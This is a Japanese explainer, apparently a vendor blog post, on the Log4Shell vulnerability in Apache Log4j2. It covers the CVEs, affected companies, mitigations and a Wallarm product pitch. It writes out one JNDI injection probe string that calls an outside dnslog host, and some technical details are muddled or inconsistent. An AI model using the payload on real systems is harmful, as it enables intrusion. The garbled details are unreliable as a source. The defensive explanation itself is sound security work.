対象機器を完全に操作される可能性がある脆弱性を想像してみると、Apache Log4j2を利用している人や組織は、この形のLog4j脆弱性に直面しました。
その影響は想像を超えるもので、業界や企業、関係者に不安を広げました。なぜなら、Apache Log4j2ライブラリを利用している機器が数百万存在し、全てがリスクにさらされていたからです。
この問題が明るみに出ると、数百万にのぼるハッキング試行が短時間で行われ、ハッカーコミュニティに大きな衝撃を与えました。
詳細を知りたければ、先に進んでLog4j悪用の仕組みを解説します。
Log4jはJavaで作られたフレームワークで、主な役割はクライアントの活動やアプリの動きを記録し、ログに関するエラーを確認することです。
収集された情報はシステム管理者や利用者に共有され、表面的な不具合や隠れた不具合について知らせるために用いられます。このフレームワークは無料で提供され、世界中に多くの利用者がいます。
その動作方法として、誤ったリンクを入力または壊れたリンクをクリックした際に404エラーを表示します。
このようなリンクにアクセスすると、対象ドメインのウェブサーバーがページが存在しないことを知らせます。エラー表示に加え、サーバー上で発生したイベントも記録されます。
アプリの種類によって、Log4jの使われ方は異なります。例えば、有名なオンラインゲームMinecraftでは、ストレージ利用状況、コマンド履歴、その他の情報を記録するために用いられています。その利用範囲は非常に広く、存在や活用状況の正確な把握が難しいほどです。
この脆弱性が悪用されると、攻撃者はLog4jライブラリを通じて、バージョンに関わらずネット上の機器やリソースを管理者並みに操作できるようになります。最初に報告されたのは2021年11月24日で、正式にはCVE-2021-44228脆弱性と呼ばれています。
中国のセキュリティ研究者Chen Zhaojunが最初に発見しました。当時、Minecraftをホストするサーバーでこの脆弱性を確認し、攻撃者はゲームを通じて被害者のシステムに完全にアクセスできる状況となりました。
修正方法がなく既知の問題であるゼロデイ脆弱性により、多くの人々が苦しむ結果となりました。
この脆弱性には複数のバージョンが存在し、各々異なる挙動を示します。
CVE-2021-44228として注目された際、Apacheは待望のパッチであるv2.15を即座に公開しました。しかし、これだけでは問題を完全に解決できず、悪意ある攻撃者によるRCE攻撃を許す結果となりました。
このパッチにより、Log4jにCVW-2021-45046脆弱性が生じ、攻撃者は悪意あるデータをシステムへ挿入する機会を得ました。その後、v2.16で最終的にこの問題が修正されました。
さらに、攻撃者がDDoS攻撃を実施できる脆弱性CVE-2021-45105を修正するため、第三のパッチがリリースされました。
最後に、CVE-2021-44832に対処するために、第四のパッチであるv2.17.1が提供されました。この脆弱性では、攻撃者がLDAPサーバーを操作し、RCE攻撃を実行できる状況となっていましたが、JDBC Appenderの使用とJNDI LDAPデータソースURIの組み合わせがその前提となっていました。
また、Log4j2ライブラリはVMwareやAWSなど主要なプラットフォームで広く使用されており、多くのソフトウェアがLog4j2に依存しているため、この脆弱性は多方面での運用リスクをもたらします。
Log4j問題の核心は、DNSリスナーサービスの生成にあります。攻撃者が「Get subdomain」をクリックすると、DNSlogがユニークなドメイン名を作成し、下記のメッセージを対象システムへ送信します。
${jndi:ldap://.dnslog.cn/}
DNSサーバー上のLog4jがこのメッセージを記録すると、DNSlog上にLDAP呼び出しが生成され、DNSlog.cnで確認できるようになります。
この機会を利用して、攻撃者は対象システムに自由にリクエストを送らせ、悪意ある内容を挿入します。サーバーからリクエストが発生すると、Log4j2ライブラリがそれを実行し、攻撃成功へとつながります。
この脆弱性(CVE-2021-44228とも呼ばれる)は、世界中の技術における最悪の脅威の一つとされています。
Log4jの影響を過去の攻撃と比較すると、約1.48億人が被害に遭ったEquifaxの情報漏洩事件や、Unixシステムに影響するBashdoorに近いといえます。
この深刻な評価に至った理由は次の3点です:
この脆弱性は悪用が非常に容易です。攻撃者はログイベントに単一の文字列と悪意あるペイロードを挿入するだけで済みます。
つまり、特別な技術は必要なく、2021年12月に発見されて以来、この弱点を狙う試みが増え続けています。
攻撃は非常に高速に行われるため、注意が必要です。このデモのMinecraftサーバー攻撃を確認すると、その危険性が理解できるでしょう。
Log4jの脆弱性は非常に広範囲に影響します。標準のJavaログライブラリであるため、被害対象はあらゆるJavaまたはJavaを用いたソフトやアプリとなり得ます。
Javaは特に企業で大きなシェアを持っているため、その問題は想像以上に拡大します。さらに、サーバー(AWSやMicrosoftなど)やルーターにも組み込まれているため、影響を受けるシステム数は何十億にも上る可能性があります。
また、LDAPサーバーがこの脆弱性の影響を受けると、連鎖的に複数の攻撃やランサムウェアによるハッキングが発生し、これまでで最大級の被害につながる恐れがあります。
メインのインターネット向けアプリやバックエンドアプリにJavaを使用していなくても、Log4jの問題に巻き込まれる可能性があります。APIが攻撃の入り口となるためです。
大画面のデバイスやハードウェアだけでなく、スマートフォンもこの脆弱性の影響を受ける可能性があります。バックエンドの通信がAPIを通じて脆弱なライブラリと連携している場合、例えばiPhoneのバックエンドに悪意ある文字列が挿入されると被害に遭う可能性があります。
さらに、Apache上で動作するアプリにおいては、Apache自体がJavaベースなため、Java以外のウェブアプリであっても、脆弱なLog4jのバージョンを通じて悪意ある文字列がバックエンドに侵入し、攻撃が実行される恐れがあります。
また、第三者ベンダーを介したAPI経由で侵入される可能性もあるため、攻撃者はこの手法を繰り返し利用しており、専門家はパッチを回避するためのツール改良に努めていると報告されています。
この脆弱性が成功すると、攻撃者にとって大きな利点となります。
RCE(リモートコード実行)が可能となるため、攻撃者は対象システムから必要な情報を盗み出すことができます。リモートコード実行により、マルウェアのインストールやシステム全体の制御が可能になり、近年では暗号通貨マイニングシステムへの攻撃も確認されています。
また、一部の攻撃者はインターネット全体のエコシステムに感染するマルウェアを設計していると報告されており、フロントエンドとバックエンドの双方が影響を受けるため、被害の範囲は計り知れません。
Log4j2ライブラリはあらゆる場所で利用されているため、この脆弱性の被害対象は非常に広く、Apple、Cloudflare、Twitter、Valveなどの大手企業もその中に含まれます。
被害のターゲットは個人ではなく、その人物が管理するサーバーに対して行われる点に注意が必要です。
Apacheシステムに関しては、Log4j脆弱性はLog4j2ライブラリの2.0-beta9から2.14.1までのバージョンに存在しました。Apacheは、対策としてエンドユーザーに対して古いバージョンから2.15.0へのアップデートを推奨しています。
SteamやMinecraftなど、Log4j2の古いバージョン(2.15.0以下)を使用しているソフトやゲームも影響を受けました。
Log4Shellは世界中の多くの大手ベンダーに影響を及ぼしました。完全なリストには数百の組織や製品が含まれています。
Adobe、CISCO、IBM、Fortinetをはじめ、Okta、AWS、VMwareなど、多くの組織が影響を受けました。また、FortiGuard、Dell EMC、Elastic、Jira、Confluence、McAfee、Atlassian、Broadcom、F-Secureなどもその一例です。
すべての企業がこの脆弱性に対処すべく、新たなリリースやパッチで影響を無力化する必要に迫られました。最新またはパッチ済みのバージョンを利用することが望ましいです。
社内でこれらのソフトやツールを利用していなくても、システムがAPIや第三者ベンダーと連携している場合、リスクにさらされる可能性があります。サプライチェーン攻撃に注意し、包括的なベンダーリスク管理を実施することが重要です。
Wallarmは革新的なAI搭載のAPIセキュリティツールで、セキュリティ体制の強化を支援します。API攻撃だけでなく、DDoS攻撃やOWASP Top 10の脅威にも対応し、Log4jの問題の検出と修正に役立ちます。
このツールは、Log4j関連の攻撃試行の詳細をコンソールに自動で記録し、エンドユーザーに通知、即時に対策プロセスを開始します。変更点とその影響は2時間ごとに更新されます。
即時の更新情報が必要な場合は、Log4jの監視モードを有効にできます。ただし、このモードではバーチャルパッチを使用する点に注意が必要です。
ブロッキングモードでの利用で、追加対策なしに脆弱性が修正されます。Log4j脆弱性検出で疑問や問題があった場合、Wallarmは迅速な技術サポートを提供します。
同様の構成を利用している場合、Log4j脆弱性の修正方法を把握することが重要です。影響が大きいため、リスクを冒すわけにはなりません。
幸い、対策は複雑な作業ではありません。以下に有効な方法を紹介します。
前述の通り、このバージョンは主要な脆弱性に対応するよう設計されております。従って、旧バージョンを新バージョンに更新することで大幅な改善が期待できます。
機能豊富なクラウドWAFは、サーバーの継続的な監視と早期のLog4j脆弱性検出に役立ちます。デジタル環境で安全性を保つために利用すべきです。
ホスティングサーバーがJava 6u212、7u202、8u192、または11.0.2以上で稼働している場合、既にJNDIや改良されたバージョンを利用しているため、一部の攻撃は通用しません。これは有効な対策です。
Log4j2のバージョン2.10以降では、formatMsgNoLookupsシステムプロパティをtrueに変更するか、JVMパラメータ -Dlog4j2.formatMsgNoLookups=true を設定することで脆弱性を緩和できます。
さらに、classpathからJndiLookupクラスを削除する方法も有効です。
その他、以下の対策も推奨されます:
Wallarmは最新のAPIセキュリティツールで、Log4jやその他の脅威に対する多様な対策を提供します。クラウドWAF、最新の脅威検出技術、エンドツーエンドのAPI保護、包括的なセキュリティテストソリューション(GoTestWAF)を備え、強力なAIによる自動化によりエラーや遅延、脆弱性のリスクをほぼ排除します。これにより、様々なLog4j脆弱性の早期検出が可能となります。
最新情報を購読